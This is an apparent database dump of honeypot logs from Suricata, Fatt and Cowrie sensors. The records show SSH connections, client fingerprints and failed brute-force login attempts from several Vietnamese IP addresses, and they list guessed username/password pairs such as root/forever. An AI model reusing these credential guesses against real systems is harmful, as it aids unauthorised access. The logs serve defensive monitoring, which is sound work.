24687	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:16.136043+03	2021-09-20 14:15:09.119501+03	{"_id": "kQblAnwBvYTbRNuEVxbF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1492354768551965, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51798, "dest_port": 22, "timestamp": "2021-09-20T11:09:16.136043Z", "@timestamp": "2021-09-20T11:09:16.136Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24688	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:16.800997+03	2021-09-20 14:15:09.12047+03	{"_id": "kgblAnwBvYTbRNuEVxbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1875500211142722, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59146, "dest_port": 22, "timestamp": "2021-09-20T11:09:16.800997Z", "@timestamp": "2021-09-20T11:09:16.800Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24689	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:16.783972+03	2021-09-20 14:15:09.121501+03	{"_id": "lQblAnwBvYTbRNuEWBbH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48902, "timestamp": "2021-09-20T11:09:16.783972", "@timestamp": "2021-09-20T11:09:16.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24690	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:16.837241+03	2021-09-20 14:15:09.1225+03	{"_id": "lwblAnwBvYTbRNuEWBbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59146, "dest_port": 22, "timestamp": "2021-09-20T11:09:16.837241", "@timestamp": "2021-09-20T11:09:16.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24691	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:17.061915+03	2021-09-20 14:15:09.1245+03	{"_id": "rgblAnwBvYTbRNuEWxat", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1095461135749237, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48902, "dest_port": 22, "timestamp": "2021-09-20T11:09:17.061915Z", "@timestamp": "2021-09-20T11:09:17.061Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24692	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:17.827134+03	2021-09-20 14:15:09.125503+03	{"_id": "sAblAnwBvYTbRNuEXBaw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42686, "dest_port": 22, "timestamp": "2021-09-20T11:09:17.827134", "@timestamp": "2021-09-20T11:09:17.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24693	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:17.549592+03	2021-09-20 14:15:09.1275+03	{"_id": "twblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:42686 (192.168.176.2:22) [session: d9b5709f7100]", "session": "d9b5709f7100", "@version": "1", "protocol": "ssh", "src_port": 42686, "dest_port": 22, "timestamp": "2021-09-20T11:09:17.549592Z", "@timestamp": "2021-09-20T11:09:17.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24694	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:17.552424+03	2021-09-20 14:15:09.12847+03	{"_id": "tAblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d9b5709f7100", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:17.552424Z", "@timestamp": "2021-09-20T11:09:17.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24695	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:17.766305+03	2021-09-20 14:15:09.129501+03	{"_id": "uwblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [valerie/valerie] failed", "session": "aa41b5de45d6", "@version": "1", "password": "valerie", "username": "valerie", "timestamp": "2021-09-20T11:09:17.766305Z", "@timestamp": "2021-09-20T11:09:17.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24696	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:18.31433+03	2021-09-20 14:15:09.13051+03	{"_id": "tgblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [tmax/tmax] failed", "session": "80c27c939d8e", "@version": "1", "password": "tmax", "username": "tmax", "timestamp": "2021-09-20T11:09:18.314330Z", "@timestamp": "2021-09-20T11:09:18.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24697	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:17.827899+03	2021-09-20 14:15:09.1315+03	{"_id": "vAblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d9b5709f7100", "@version": "1", "timestamp": "2021-09-20T11:09:17.827899Z", "@timestamp": "2021-09-20T11:09:17.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24698	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:18.039565+03	2021-09-20 14:15:09.13347+03	{"_id": "vQblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/forever] failed", "session": "818b709f7a6d", "@version": "1", "password": "forever", "username": "root", "timestamp": "2021-09-20T11:09:18.039565Z", "@timestamp": "2021-09-20T11:09:18.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24699	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:18.194706+03	2021-09-20 14:15:09.13447+03	{"_id": "vgblAnwBvYTbRNuEXRZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [dexter/dexter123] failed", "session": "4afed5ee7d32", "@version": "1", "password": "dexter123", "username": "dexter", "timestamp": "2021-09-20T11:09:18.194706Z", "@timestamp": "2021-09-20T11:09:18.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
